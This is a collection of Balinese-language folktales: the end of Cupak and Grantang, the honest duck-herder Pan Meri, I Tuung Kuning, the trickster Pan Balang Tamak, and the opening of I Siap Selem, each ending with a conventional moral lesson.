Grantang metakon teken dagange ento, “Nawegang jero dagang nasi, titiang matur pitaken, napi wastan jagate puniki, napi sane mawinan jagat druwene sepi. I Dagang nasi masaut, Jero, jero anak lanang sareng kalih jagate puniki mawasta jagat Kediri. Jagat puniki katiben bencana. Putran Ida Sang Prabu kapandung olih I Benaru. Ida Sang Prabu ngamedalang wecana, sapasiraja sane mrasidayang ngrebut putran gelahe tur mademang I Benaru jagi kaadegang agung ring jagate puniki. Wantah putrin Ida sane kaparabiang ring sang sane prasida mademang I Benaru. I Cupak masaut elah, “ah raja belog kalahang Benaru. Kola anak suba bisa nampah Benaru. Eh dagang, kema orahang teken rajabe dini. Bantes Benaru aukud elah baan kola ngitungang”. I Grantang megat munyin beline, “Eda Beli baas sumbar ngomong, awak tusing nawang matan Benaru. Patilesang raga beline digumin anak. “Sakewala I Cupak bengkung ngelawan tur tuara ngugu munyin adine. “Adi baas setata, adi mula getap. Kalingke nampak ngadeg gumi, baanga ngidih nasi dogen beli nyak ngematiang I Benaru. “I Grantang nglanturang munyine teken jero dagang nasi. “Inggih jero dagang nasi durusang uningan marika ring Ida Sang Prabu. Titiang jagi ngaturang ayah, ngemademang ipun I Benaru. “Duaning asapunika wenten pabesene I Grantang, laut I dagang nasi gagesonan nangkil ka puri. Nganteg ring puri I Dagang nasi matur, “Inggih Ratu Sang Prabhu sasuhunan titiang, puniki wenten tamiu sareng kalih misadia jagi ngemademang I Benaru. Riwawu asapunika atur I Dagang nasi, premangkin ledang pisan pikayun Ida Sang Prabhu. Raris Ida Sang Prabhu ngandika, ” Ih memen cening, yen mula saja buka atur men ceninge, lautang kema tunden ia tangkil ka puri apang tawang gelah!” Sesampune wenten renteh wacanan Ida Sang Prabhu,’I Dagang nasi jek ngenggalang ngalih I Cupak teken I Grantang. Nganteg di peken dapetange I Cupak masehin lima mara suud madaar. I Grantang kimud kenehne nepukin beline setata ngaba basang layah. I Grantang laut ngomong. “Nawegang jero dagang belin tiange iwang ngambil ajengan, mangda ledang jero ngampurayang santukan titiang nenten makta jinah. “I Cupak masaut, “Saja kola nyemak nasi, ampura kola, tusing sida baan kola naanang basang layah. “I Dagang nasi anggen kenehne ningeh munyine I Grantang. Munyin I Cupake tan kalinguang. I dagang nasi laut nekedang pangandikan Ida Sang Prabhu, apang tangkil ajaka dadua. Sesampune katerima pabesene punika olih I Dagang nasi. Teked di puri hut panjake pati kaplug melaib, kadene I Benaru. Kacrita sane mangkin I Cupak lan I Grantang sampun tangkil ring ajeng Ida Sang Prabhu raris Ida Sang Prabhu ngandika, “Eh cai ajak dadua cai uli dija, nyen adan caine?” I Grantang matur dabdab alon,”Nawegang titiang Ratu Sang Prabhu, titiang puniki wantah jadma nista saking jagat Gobangwesi. Munggwing wastan titiang wantah I Grantang, niki belin titiange mewasta I Cupak. Titiang jagi matetegar nyarengin sewayambarane puniki ngamademang ipun satrun palungguh I Ratu I Benaru. Konden suud aturne I Grantang saget sampun kasampuak olih I Cupak, tur ngomong kene, “Kola seduk, kola lakar ngidih nasi abetekan. Basang kolane layah. Suud keto I Cupak ajak I Grantang mapamit. Ida Sang Prabhu mapaica cincin mas masoca mirah teken pajenengan puri Kediri. Ento pinaka cirin I Grantang dados utusan. Gelisang carita I Cupak kebedak-bedak, lantas nepukin telaga linggah tur bek misi yeh. Ditu lantas I Cupak morahang teken adine. “Adi…adi Grantang mareren malu, kola kenyel tur bedak pesan, kola lakar ngalih yeh ditu di telagane. “Kasautin laut pamunyin Beline teken I Grantang, “Eda beli ditu ngalih yeh, ento anak yeh encehne I Benaru tusing dadi inem, beli, “Ningeh munyin adine keto I Cupak makesiab ngatabtab muane putih lemlem. I Grantang nutugang majalan. I Cupak buin nepukin gegumuk maririgan. Ditu buin I Cupak matakon teken adine, “Nyen ane ngae gunung gunungan dini adi?” sambilange maklemir I Grantang nyaurin petakon beline. “Ene tusing ja gunung-gunungan beli, ene mula tuah taine I Benaru beli. I Cupak makraik baan takutne. “Aduh mati jani beli adi, yan mone geden taine, lamun apa ja gedene I Benaru, adi?. Jalan suba mulih adi. I Grantang nguncangang majalan ngungsi Guane I Benaru. I Cupak bejag bejug nutug I Grantang. Kacaritayang sane mangkin I Cupak ajaka I Grantang suba teked di sisin goane I Benaru. Umah I Benaru ditengah goane. I Cupak laut ngomong ” Adi …. kola tusing bani tuun adi, adi dogen suba masiat ngelawan I Benaru. Kola ngantiang dini. Kewala ngidih olas kola teken adi, tegul kola dini adi! ” Bincuh I Grantang ngalih tali anggona negul I Cupak. Disubane suud I Grantang negul beline, I Grantang laut matinget teken beline, “Ene tingalin tumbake buin ajahan beli, yan bah kangin tumbake ento pinaka cirin tiange menang di pasiatan. Sakewala yan bah kelod tumbake, ento pinaka cihna tiang kalah. “Suud matinget, teken beline, I Grantang laut tuun ka goane. Teked di tengah goane dapetange I Benaru nagih melagandang Raden Dewi. I Benaru matolihang tur matbat I Grantang. ” “Eh iba manusa cenik, wanen iba teka mai, Yan iba mabudi idup matulak iba mulih ! ” Disubane keto ada munyine I Benaru, laut I Grantang masaut wiring, “Apa..apa..orahang iba Benaru? Kai teka mai mula nyadia lakar ngalahan iba, tur kai lakar mendak Raden Dewi putran Ida Sang Prabhu. Kai lakar ngiring Ida ka Puri. ” I Benaru lantas ngelur brangti laut ngamuk. Ditu I Grantang mayuda ngajak I Benaru. Sangkaning kepradnyanan I Grantang mayuda, dadosne I Grantang polih galah nebek basangne I Benaru nganti betel antuk keris pajenengan purine. I Benaru ngelur kesakitan basangne embud mebrarakan. Kacrita ane jani, I Cupak baduuran ningeh I Benaru ngelur. I Cupak pesu enceh, tur tategulane telah tastas. Ditu lantas I Cupak inget teken patingetne I Grantang. Ningalin lantas tumbake ento suba bah kangin. Mara I Cupak masrieng kenehne liang. I Cupak laut ngomong, ” Adi…adi Grantang antos kola Adi. Yan kola tusing maan metanding ngajak I Benaru jengah kola, Adi. ” I Grantang laut ngomong uli tengah goane teken I Cupak. “Beli tegarang entungan tali bune ka goane! “Disubane ada raos adine buka keto laut I Cupak ngentungan taline ento. Ditu lantas I Grantang ngelanting ditaline apan ngidang menek. I Grantang sambilange ngamban Raden Dewi. Disubane I Grantang lan Raden Dewi nengok uli ungas goane, gegeson pesan I Cupak nyaup Raden Dewi tur sahasa megat tali ane glantingine baan I Grantang. Duaning tali bune kapegatang, ditu lantas I Grantang ulung ngeluluk ditengah goane. Semaliha Ida Raden Dewi kasirepang olih I Cupak di batan kayune satonden megat tali bune ento. Kacaritayang sane mangkin, I Cupak ngiring Ida Raden Dewi nuju Puri Agung. Tan kacaritayang kawentenang Ida kairing baan I Cupak ring margi, kancit sampun rauh Ida ring Puri. Ida Sang Prabhu ledang kayune tan siti, digelis raris nyaup Raden Dewi. Ida Sang Prabhu raris matemuang Ida Raden Dewi teken I Cupak sawireh I Benaru suba mati. I Cupak matur ring Ida Sang Prabhu, I Grantang sampun padem, kapademang oleh I Benaru. I Cupak mangkin kaadegang Agung ring Puri. Kacaritayang sane mangkin I Cupak sampun madeg Agung ring Puri. Makejang panjake keweh, duaning sasukat risapa madeg I Cupak sadina-dina panjaka makarya guling. Sane mangkin iring menengang abosbos cerita sapamadeg I Cupak, iring sane mangkin caritayang kawentenang I Grantang ring tengah goane. I Grantang grapa-grepe bangun nyelsel padewekan. “Raturatu Bhatara nguda kene lacur titiange manumadi?” Kasuen-suen dados metu rincikan naya upanaya I Grantang bakal nganggon tulang I Benarune menek. I Grantang ngragas tur makekeh pesan menek. Sakewanten sangkanin sih Ida SangHyang Parama Kawi I Grantang nyidayang ngamenekang. I Grantang jadi suba neked di baduuran. I Grantang lantas nugtugang pejalane nuju je puri. Gelisang carita I Grantang suba neked di puri. Ditu lantas I Grantang ngomong teken panyeroan I Cupake, “Jero tulung titiang, titiang jagi tangkil matur ring Ida Sang Prabhu. “Malaib panyroane ka puri nguningayang unduke punika teken Raden Cupak. I Cupak inget teken adine ane enu digoane. Ditu lantas I Cupak ngelur nunden panjake ngejuk tur ngulung aji tikeh tur ngentungang ka pasihe. Kacarita buin manine Pan Bekung memencar di pasihe ento. Uling semengan nganti linsir sanje memencar tusing maan be naang aukud. Ngentungan pencar tanggun duri, pencare marase baat, mare penekanga bakatange tikeh. Buin Pan Bekung mulang pencar buin bakatange tikehe ane busan. Gedeg basang Pan Bekunge, laut tikehe abane menek tur kagagah. Makesiab Pan Bekung ningalin jadma berag pesan. Pan Bekung enggalang ngajak anake ento kepondokne. Teked dipondokne pretenina teken Men Bekung. Sewai-wai gaenange bubuh, uligange boreh. Dadosne sayan wai sayan misi awakne I Grantang. Dadi kendel Pan Bekung ajak Men Bekung iaan unduk panak truna tur bangus. Di subane I Grantang seger ditu lantas I Grantang ngae tetaneman. Megenepan pesan bungane tanema. Disubane bungane pada kembang, I Grantang ngalap bungane ento tur adepa teken Men Bekung ka peken. Sadinadina saja geginane I Grantang metik bunga lan Men Bekung ngadep. Kacarita ane jani ada wong jero uli puri Kediri lakar meli bunga. Makejang bungane Men Bekung belina baan wong jerone ento. Disubane suud mablanja lantas wong jerone ento ka puri ngaturang bunga. Bungane ane kaaturang katerima olih Ida Raden Dewi. Mara kearasan oleh Raden Dewi dadi merawat rawat anak bagus dibungane. Eling lantas Ida teken I Grantang anak bagus ane ngamatiang I Benaru. Ida Raden Dewi raris metaken teken wong jerone. “Eh Bibi bibi Sari dija nyai meli bungane ene?”buin mani ka pasar apang kacunduk teken dagang bungane ene.” Manine kairing Ida Raden Dewi lunga, matumbasan ka pasar.Gelisang carita raris kapanggih Men Bekung nyuun kranjang misi bunga mewarna warni. Raden Dewi raris nampekin. Kagiat Raden Dewi nyingak bungkung mas masoca mirah ane anggone teken Men Bekung. Bungkunge ento wantah druwen Ida Sang Prabhu lingsir, ane kapicayang teken I Grantang. Ngaksi kawentenane punika, raris Raden Dewi ngandika teken Men Bekung. “Uduh Meme, titiang matakon, dija umah memene?’ Ajak gelah melali kema ka umah Memene apang gelah nawang. ” Gelisang carita Ida Raden Dewi sampun neked di pondok Men Bekung. Pan Bekung kemeg-megan sinambi ngadap kasor saha nyambang sapangrauh Ida Raden Dewi. Ningeh Bapane makalukang tur epot laut I Grantang nyagjag. Ditu lantas I Grantang matemu teken Raden Dewi. Rikanjekan pinika Ida Raden Dewi nyagjag tur mlekur I Grantang sinambi nangis masasambatan, “Aduh Beli mgudal las beli ngutiang tiang. Ngudiang beli tusing ka puri tangkil ring Ida Sang Prabhu.” Sasampune wenten ketel wacanan Ida Raden Dewi raris I Grantang nyawis tur matur dabdab alon, ngaturan parindikan pajalan sane sampun lintang. Kacaritanyang mangkin I Grantang sareng Ida Raden Dewi suba neked di puri. Sang Prabhu maweweh meweh ledang kayun Idane nyingak putrane anut masanding ajaka I Grantang. Kacaritayang mangkin I Cupak katundung uli puri. I Grantang mangkin kaadegang agung ring puri. Sasukat I Grantang madeg agung, jagate gemuh kerta raharja. Panjake sami pada girang pakedek pakenyung duaning suud ngayahin raja buduh.  *bb

Pengangon Bebek

Ada katuturan satua pangangon bebek madan Pan Meri. Sangkal ia madan Pan Meri, kerana dugase i malu ia liu gati ngelah memeri utawi panak bebek. Sakewala lacur tusing dadi kelidin, panyatakan merine mati kena gering. Enu kone masisa buin aukud sada merine ento ane paling bengil tur berag. Ento jani kapiara baan Pan Meri. Semengan nyanjaang epot Pan Meri ngenang amah-amahan merine bengil ento. Di kengkene ka telabahe abana masileman apang nyak kedasan goban merine buin abedik. Merine bengil ento masih jemet pesan teken Pan Meri. Yening Pan Meri nuju ngarit jeg nutug di durine sambila munyi kwek….kwek…. kwek….! Bagia atine Pan Meri ngelah ubuhan jemet buka keto. Diastun tuah aukud turin bengil sakewala mawiguna pesan marep Pan Meri. Kacerita galahe suba sanja. Pan Meri lakar ngemaang amah merine. Pan Meri lantas ngaukin ri…ri….ri…ri…! Nanging merine tuara ada. Sengap paling Pan Meri mengalihin kema mai masih tuara tepukina. Pan Meri lantas nuluh telabah ngalihin sambilanga mangaukin, naler masih tuara ada. Kanti suba sandikala Pan Meri ngalihin tusing masih tepukina merine. “Uduh….Dewa ratu. Dija ya merin titiange. Dadi bisa tusing ada, kija lakuna malali. Len suba sandikaon buin kejep dogen suba peteng sinah lakar tusing tepuk apa!” Uyang paling kone Pan Meri sada sedih merine tuara tepuka. Saget nangked kone Pan Meri di tanggun telabahe beten punyan asem, ada batu gede. Ditu kocap tongose tenget tur pingit. Sedek bengong Pan Meri, jeg teka anak gede selem, siteng tur tangkahne mabulu. Paliatne nelik tur gigine rangap macaling. Pan Meri kesiab takut nagih malaib sakewala batisne lemet awakne ngetor. Anake gede selem ento meekin Pan Meri. “Suba sandikaon adi enu masih kema mai. Apa kalih dini, Pan Meri?” keto omongne I gede selem. Ngejer Pan Meri nyautin, “Icang ngalih merin icange. Suba sanja konden mulih. Pedalem, icang ngelah meri tuah aukud!” “Ooh…keto. Mula saja tuni sanjane ada meri mai ngelangi. Nah jani jemakanga ja, antiang dini!” I gede selem maselieb ka durin batune. Pan Meri mara ningeh keto prajani ilang takutne. Kendel atine buin bakata merine. Suba keto teka I gede selem ngaba meri, bulune alus awakne kedas tur jangih pesan munyine. “ene merine, Pan Meri?” “Tidong, meri icange anak bengil!” Buin I gede selem mesuang meri. Jani merine mokoh tur kedas nyalang. Yen adep sinah bakal maal payu. “Ane ene merine?” “Tidong, meri icange berag tur bengil!” Kacarita suba liu pesan I gede selem mesuang memeri. Sakewala Pan Meri setata ngorahang tidong, kerana mula saja merine makejang ento tidong merine Pan Meri. Suba keto I gede selem buin ngomong. “Beh…adi makejang tidong. Lamun keto aba suba makejang merine ento!” “Aduh…, icang tusing bani, ento tusing icang ngelah. Meri icange tuah aukud, berag tur bengil!” masaut Pan Meri. “Ne mara jadma patut. Tumben jani kai nepuk jadma buka Pan Meri. Eda takut…, merine bengil ento mula kai ane ngaba. Nah.., duaning Pan Meri maparisolah sane patut tur tusing loba, kai jani ngemaang meri buin aukud. Melahang ngubuh apang bisa nekaang hasil. Ne jani aba merine mulih!” Tan sipi kendelne Pan Meri nepukin merine mulih. Mare keto saget I gede selem ilang tur di samping batune gede ada meri buin aukud. Pan Meri ngaturang suksma tur nglantas mulih ngaba meri dadua. Kacerita meri Pan Meri suba mataluh makelo-kelo mapianak. Liu pesan jani Pan Meri ngelah meri. Ia jani dadi sugih ulian madagang memeri. Keto yening dadi jadma maparisolah utawi malaksana patut, tusing loba, nyak buka cara Pan Meri, sinah kapaica wara nugrah sane nekaang bagia

I Tuung Kuning

I TUUNG KUNING

Ada tuturan satua, babotoh kêmbar madan I Pudak. Ia kasap pêsan koné mamotoh, buin mêlah koné paranné nyak matêbah. Ia ngêlah kurungan simaluné tuwah dadua, jani sêkaté pêpêsan mênang ia matajén, ngêliunang dogén kurungané. Makêlo-kêlo nganti pênyatusan ia ngêlah kurungan. Nganti kéwêh kurênané barêng ngêncanin, maang ngamah magadang. Kurênané bêling gêdé lantasan, aji nyampatang tainé sêlid sanja dogén suba kéwêh. Siapné dogén mandus apang têlu ané awai, amah-amahané sêmêngan jagung, têngai godêm, sanjê gabah, miwah awakné kêpêl-kêpêlê. Mapêsuang sabilang wai apang kêna matan ai sêmêngan. Kadi rasa I Pudak sing mandus ané awai ulian ngêncanang siapné totonan. Kacêrita I Pudak lakar luas ka dajan gunung, mabêsên koné ia têkén kurênané, “Wayan, Wayan mani wakê lakar luas joh, né nyai kéné bêling gêdé, waké tondén karoan makêloné luas, sing satondén têka nyai suba ngêlah panak, lamun muani anaké cêrik, mêlahang mên miara, lamun luh matiang dogén têndasné, têktêk baang kurungané makêjang pada abêdik. Waké tusing yêng gati ngêlah pianak luh, I déwék tuyuh ngêdénang dogén mêgadangin pêtêng lêmah, suba dogén kêlih pisagané manjakang”. Kéto pabêsên I Pudak têkén kurênané, nyak koné ané luh ngidêpang. Nah buin maniné luas koné suba I Pudak. Mara makêtêlun I Pudak luas ka Dén Bukit, kurênané ngêlah lantas pianak, laut luh koné pianakné. Béh kéwêh gati mémén anaké cêrik ênto. “Né kénkénang jani I cêning, konkona nêktêk lantas têkén bapané, laut baang siap. Yan tuutang kênêh bapané, pianak matiang, jabin jêlêmê buduh. Né kénkén jani baan madaya”. Kéto abat mémén anaké cêrik ngrêngkêng padidiana. Makêlo koné baana bêngong, lantas tumbuh dayané mémén anaké cêrik. “Ah, ari-ariné dogén têktêk baang siap pada mabêdik”. Kacêrita ari-ariné dogén lantas têktêka, to lantas banga siapé padê mabêdik. Pianakné adanina Ni Tuwung Kuning. Suba koné kéto, anaké cêrik ajaka lantas kumah méméné. Têkêd koné ditu, têngkêjut lantas dadongné. “Né kali kénkén nyai ngêlah pianak cêrik?” “I Busan mémé”, “Dadi mara makêplos panak nyainé suba ajak mai?” “Kéné mémé, adê pabêsên bapanné I pidan, anak konkona nêktêk maang siap, yén luh panaké. To kranané anaké cêrik ajak icang mai. Mémé ngajak I cêning nah?”. Icang takut ngajak jumah nyén têka bapanné, payu lêmpagina icang, anak iya brangsongan pêsan. Nyén lamun ia têka lakar orahang suba mati dogén I cêning”. Masaut méméné “nah lamun kéto, dini suba pêjang I cêning mémé ngajak. Ingêtang nyén nêlok-nêlokin mai baang yéh nyonyo” “Nah, mémé, dong jêmakin I cêning, icang mulih, nyén têka bapanné”. Jêmakina lantas anaké cêrik baan méméné. Suba kéto mémén anaké cêrik ngénggalang mulih. Kacêrita jani, sêlid sanja koné dêlokina anaké cêrik têkén méméné panyonyoina dogén, suud kéto ngênggalang koné ia mulih. Kadéna buin kêjêpné bapané mulih, tusing masih ada. Buin abulan masih tusing têka. Nganti tibanan koné kurênané luas. Kacêritayang jani, ngancan kêlih ngancan jêmêt Ni Tuwung Kuning magarapan. Yan kudang taun makêloné I Pudak luas matajén, critayang jani ia suba mulih pipisné têlah kalah, tuwing ênu nang akéténg. Têkêd jumahné ia nakonang pianakné. Kurênané ngorahang pianakné luh tur suba têktêka baangê siap. Siapné makruyuk, ngorahang pianakné kingsananga jumah dadongné, tur ari-ariné têktêka banga siap. Kakruyuk siapé kéto dogén, laut kurênané kaukina. Kurênané konkona ngalih pianakné ka umah dadongné. Ni Tuwung Kuning aliha ajaka mulih. Têkêd jumah ia lantas ajaka ka alasé. Di Têngah alasé Ni Tuwung Kuning nagih matianga. Jêg têka dêdariné nyaup Ni Tuwung Kuning. Ni Tuwung Kuning siluranga aji gêdêbong. I Pudak sahasa nêktêk gêdêbong, abana mulih. Têkêd jumah baanga siapné. Rêramané pada sêbêt ningêhang I Pudak nêktêk pianakné anggona amah-amahan siap, nanging I Pudak tusing pisan ya ningêhang tutur rêramané totonan. Makêlo-kêlo I Pudak suba tuwê, kadi rasa majalan suba tusing ngidang. Sêkancan pênyakité ané ada, mêcêlêp di awakné I Pudak, kranê ia tusing ngêlah sêntana, tusing ada ané mamanjakin ia, rikalaning ia nagih dêdaaran, tusing ada ané nyêmakang, ditu lantas ia I Pudak masêsêlan. Kêto suba karma phalané anaké ané dêmên mamotoh, tusing dêmên ngurus pianak, kurênan tusing sayang, rêramê makêjang ngêjoh, kéto masih Widiné ngêjoh têkên I ragê. (bebekbengil)

#kusumasari 4#

Pan Balang Tamak

Pan Balang Tamak

Ada reko anak madan Pan Balang Tamak, maumah di désa anu. Kacrita ia sugih pesan tur ririh makruna, muah tuara nyak kalah tekén pada timpalné di déśa totonan. Baan té saking kruna daya upayané anggona ngamusuhin déśané. Yén upamaang dayan Pan Balang Tamaké, patuh buka bun slingkad lutungé, baan saking beneh. Ento kranané Pan Balang Tamak sengitanga baan désané. Yén tuah dadi baan désané, apanga ia makisid wiadin mati apanga sing ada enu nongos di désané totonan. Baan té tra ada mintulin pagaén désané, bakal ngaénang dosan Pan Balang Tamaké ento.

Di sedek dina anu paum désané bakal nayanang Pan Balang Tamak, mangdéné ia kena danda. Lantas panyarikan désané nundén ngarahin Pan Balang Tamak, kéné arah-arahné, ”Ih Pan Balang Tamak, mani semengan mara tuun siap, désané luas ka gunung ngalih kayu, bakal anggon menahin balé agung. Nyén ja kasépan, bakal danda.” Kéto arah-arahé tekén Pan Balang Tamak.

Kacarita maniné semangan mara tuun siyap, lus désané makejang, nanging Pan Balang Tamak masih enu jumah padidian, krana ia ngantiang siapné tuun uli bengbengané. Makelo ia ngantiang, tondén masih siapné tuun. Ada jenengné makakali tepet, mara siapné tuun uli di bengbengané, ditu mara ia majalan, nututin désané luas ngalih kayu ka gunung. Tondén makelo ia majalan, tepukina krama désané suba pada mulih negen kayu, dadi Pan Balang Tamak milu malipetan. Kacrita suba neked jumah, lantas désané paum, maumang Pan Balang Tamak lakar kena danda, krana ia tuara nuutang arah-arahé. Ditu laut désané nundén ngarahin Pan Balang Tamak.

Kacrita Pan Balang Tamak suba teka, lantas klihan désané makruna, ”Ih Pan Balang Tamak, jani cai kena danda. Masaut panyarikan désané, ”Ento baan cainé tuara ngidepang arah-arahé ngalih kayu ka gunung.” ”Mangkin, mangkin jero panyarikan, sampunang jeroné ngandikayang titiang tuara ngidepang arah-arahé, déning kénten arah-arahé ané teka tekén titiang: désané mani semengan mara tuun siap bakal luas ka gunung. Déning tiang ngelah ayam asiki buin sedek makaem, dadi makelo antiang tiang tuunné uli di bengbengané. Wénten manawi sampun kali tepet, mara ipun tuun. Irika raris titiang mamargi, nuutang sakadi arah-arahé ané teka tekén tiang. Éngken awanan tiangé kena danda?” Kéto munyin Pan Balang Tamaké, dadi désané sing ada ngelah keneh nglawan paksanné Pan Balang Tamak.

Kacrita buin maninné Pan Balang Tamak karaahin ngaba sengauk, bekel menahang balé agung. Pan Balang Tamak ngaba sanggah uug ka pura désa sambilanga makruna kéné, ”Ené sanggah uug, apanga benahanga baan désané.” Dadi engon désané ngenot abet Pan Balang Tamaké kéto. Baan kéto masih tan sah keneh désané bakal ngaénang salah Pan Balang Tamaké.

Maninné Pan Balang Tamak kaarahin maboros ka gunung. Kéné arah-arahé, ”Mani désané maboros, apanga ngaba cicing galak. Nyén ja tuara ngelah cicing galak, lakar kena danda.” Kéto arah-arahé arah-arahé ané teka tekén Pan Balang Tamak. Krama désané suba pada yatna, néné tuara ngelah cicing galak, pada nyilih. Yén Pan Balang Tamak ngelah kuluk bengil aukud buin tuara pati bisa malaib.

Kocap buin maninné las désané maboros, tur pada ngaba cicing galak-galak, ngliwat pangkung ngrémbéngan dalem-dalem. Yén Pan Balang Tamak majalan paling durina pesan sambilanga nyangkol cicingné. Mara ia neked sig ngrémbéngé, sing dadi baana ngliwat, lantas ia ngaé daya apang mangdén désané teka nyagjagin ibanné, laut ia jerit-jerit. ”Bangkung tra gigina, bangkung tra gigina.” Mara dingeha baan désané, kadéna timpalné nepukin bangkung, lantas pada nyagjagin. Mara neked ditu enota Pan Balang Tamak jerit-jerit, lantas takonina: ”Apa kendehang Pan Balang Tamak?” Masaut Pan Balang Tamak, kéné pasautné, ”Pangkung tra ada titina.” Béh, sengap déśané, belog-beloga baan Pan Balang Tamak. Payu baangina titi, gantin Pan Balang Tamaké tuara kena danda. Kacrita suba neked di alasé, lantas déśané pada ngandupang cicingné ka tengah beté, ada né ngepung kidang, ada ngepung céléng, ada ngepung manjangan, ada ngongkong bojog sig punyan kayuné. Yén Pan Balang Tamak kelad-kelid sambilanga nyangkol cicingné mara neked punyan kétkété. Lantas entunganga cicingné ka punyan kétkété. Ditu koang-koang cicingné ngengsut, tuara bisa tuun, tra bisa menék, laut Pan Balang Tamak masaut: ”Ih jero déśa, tingalin cicing tiangé ngraras ka punyan kétkété. Nyén déśané ngelah cicing galak buka cicing tiangé? Jani tiang nandain déśané, baan déśané sing ada ngelah cicing galak buka cicing tiangé.” Kéto munyin Pan Balang Tamaké, dadi déśané sing ada bisa masaut, payu kenaina danda baan Pan Balang Tamak. Suba koné kéto lantas pada mulih maboros.

Kacrita maninné buin karahin Pan Balang Tamak, yén déśané mani sangkep di bale banjaré. Mara Pan Balang Tamak ningeh arah-arahé kéto, lantas ia ngaé jaja uli injin, bakal anggona melog-melog déśané. Maninné makikén sangkep, lantas Pan Balang Tamak ngaba jaja uli injin, mapulung-pulung amun tain cicingé tekén yéh, laut pejang-pejangina sig sendin balé banjaré muah kecirina tekén yéh. Nyén ngadén tra tain cicing?

Kacrita suba pepek déśané, lantas Pan Balang Tamak mauar-uar, kéné munyiné, ”Ih jero makejang, nyén ja bani naar tain cicingé totonan, tiang ngupahin pipis siu.” Masaut panyarikanné, ”Bes sigug abeté mapeta, ento nyén nyak ngamah tain cicing? Indayang cai ngamah. Lamun bani, icang ngupahin pipis siu.” Mara kéto lantas pelen-pelena baan Pan Balang Tamak, dadi cengang déśané ngiwasin Pan Balang Tamak bani ngamah tain cicing. Puputné payu déśané dendaina sin baan Pan Balang Tamak. Déning kéto mawuwuh-wuwuh brangtin déśané muah tan sah bakal ngaénang daya upaya, manang dané Pan Balang Tamak mati wiadin kena danda.

Maninné buin Pan Balang Tamak kaarahin, yén sing eda dadi ngenjek karang anak muah malih-alihan ka abian anaké, yén lejeh bani, bakal kena danda gedé. Kéto uar-uaré. Jet kéto baan Pan Balang Tamak tuara kéweh, krana ia saking patut. Ditu ia ngaé daya, gérété puleté ané di sisin pekené anggona abian pagehina lidi, apesina baan benang.

Kacrita mara tebeng pekené, ada anak makita masakit basang, lantas nylibsib ka puleté, laut masuak Pan Balang Tamak, ”Ih jero déśa, tiang nandain anak ngamaling ka abian tiangé.” Dadi cengang anaké né masakit basang éndahanga baan Pan Balang Tamak. Masaut anaké masakit basang, ”Apa salah tiangé, muah dadi nagih nandain jeroné?” Masaut Pan Balang Tamak, ”Jeroné macelep ka abian tiangé muah mamaling pamula-mulaan tiangé. Ento apa bongkos jeroné?” Mara ungkabanga, saja mrareket puleté sig kambenné. Puputné payu ia dendaina baan Pan Balang Tamak.

Kacrita déśané kéweh pesan ngencanin Pan Balang Tamak, daya kudang daya singa ada mintulin. Né jani kéneh déśané bakal nunasang paporongan tekén anaké agung.

Gelisang crita, cuba koné kicén cetik ané paling mandina, apanga Pan Balang Tamak mati sapisanan. Kocap Pan Balang Tamak suba ningeh bakal kagaé-gaénang patinné, lantas ia makruna tekén kurenanné, ”Yén awaké suba mati, gantungin bok awaké temblilingan. Suba kéto sedédéngang sig piasané. Buina pagelah-gelahané pesuang, pejang sig balé sekenem, rurubin baan kamben putih sambilang pangelingin. Nah, bangkén awaké wadahin peti, pejang jumah metén.”

Gelisang crita, suba Pan Balang Tamak mati ngamah cetik paican anaké agung. Lantas Mén Balang Tamak nuutang buka pabesen Pan Balang Tamaké. Kacrita déśané ngintip Pan Balang Tamak, mati kalawan tan matiné. Mara ia neked jumah Pan Balang Tamaké, Pan Balang Tamak masedédég sig piasanné sambilanga mamantra ngambahang bok. Ditu déśané maselselan, pada ngorahang cetiké jelék. Lantas déśané buin parek ka puri, ngaturang panguninga yén Pan Balang Tamak tuara mati. Mara kéto bendu anaké agung, déning cetiké kaaturang tra mandi. Lantas ida ngandika, ”Kénkén cetiké dadi tra ngamatiang, indayang awaké ngasanin. Mara ajengan ida abedik, lantas ida séda prajani.

Kocap Mén Balang Tamak ningeh orta, yén anaké agung suba séda ngajengan cetik, lantas ia ngékanang bangkén kurenanné buka né suba.

Kacrita suba sanja, ada dusta ajaka patpat mapaiguman, bakal mamaling ka umah Pan Balang Tamaké. Mara enota kurenan Pan Balang Tamaké mangelingin kurenanné sig balé sekenemé, lantas ia macelep ka umah metén, tepukina peti gedé buin baat pesan, laut sanglonga, senamina, tegena ajaka patpat. Suba koné neked ka tengah beté, makruna timpalné, ”Dini suba gagah!” Masaut timpalné, ”Maebo bangké dini, jalan indayang dituan.” Lantas kisidang masih maebo bangké. Buin makruna timpalné, ”Jalan suba aba ka pura déśa, ditu nyén bani ngutang bangkaan.” Masaut timpalné, ”Jalan!” Lantas tegena petiné, abana ka pura. Mara neked ditu, lantas ungkabanga. Mara enota bangkén Pan Balang Tamaké nyengkang, lantas plaibina, kutanga petiné ditu.

Kacrita maninné mara galang kangin, nuju jero mangku ngaturang canang ka pura, mara nengok sig kori agungé, tingalina ada peti gedé di natah piasé, lantas jero mangku masila tiding sambilanga nyumbah: ”Bataran titiangé mapaica, bataran titiangé mapaica.” Baan sing ada bani mungkah, ngantiang apanga pepek déśané teka. Mara teka ukud nyumbah, teka ukud nyumbah.

Suba koné pepek pada nyumbah, lantas petiné bungkaha, nget bangkén Pan Balang Tamaké nyengku, dadi tengkejut déśané, buin pada misuhin bangkén Pan Balang Tamaké. Ento japin pisuhin, mlutang ya, kadung suba bakat sumbah. Puputné déśané tuyuh méanin muah nanemang bangkén Pan Balang Tamaké. Kéto katuturannya.(*bb/stb)

sumber: http://imadesudiana.wordpress.com/2008/10/12/balang-tamak/

Katuturan Satua I Siap Selem

Ada katuturang satua I Siap Selem ngelah pianak ptiung ukud makejang pianakne siteng-siteng lan krencengkrenceng. Sakewala ada aukud ane paling cerike tusing mabulu. Sawireh panakne ento tusing mabulu nyantos ke kampid, adanina I Olagan. Memene keadanin Siap Selem duaning bulune selem, batisne selem lan cucuk mase selem. I siap selem saja anteng lan jemet pesan ngekehang panakne amah-amahan. Kacarita jani ada I Kuuk maumah di natah abesik ngajak I Siap Selem. I Kuuk ngelah masih ia pianak ane enu cerik-cerik.
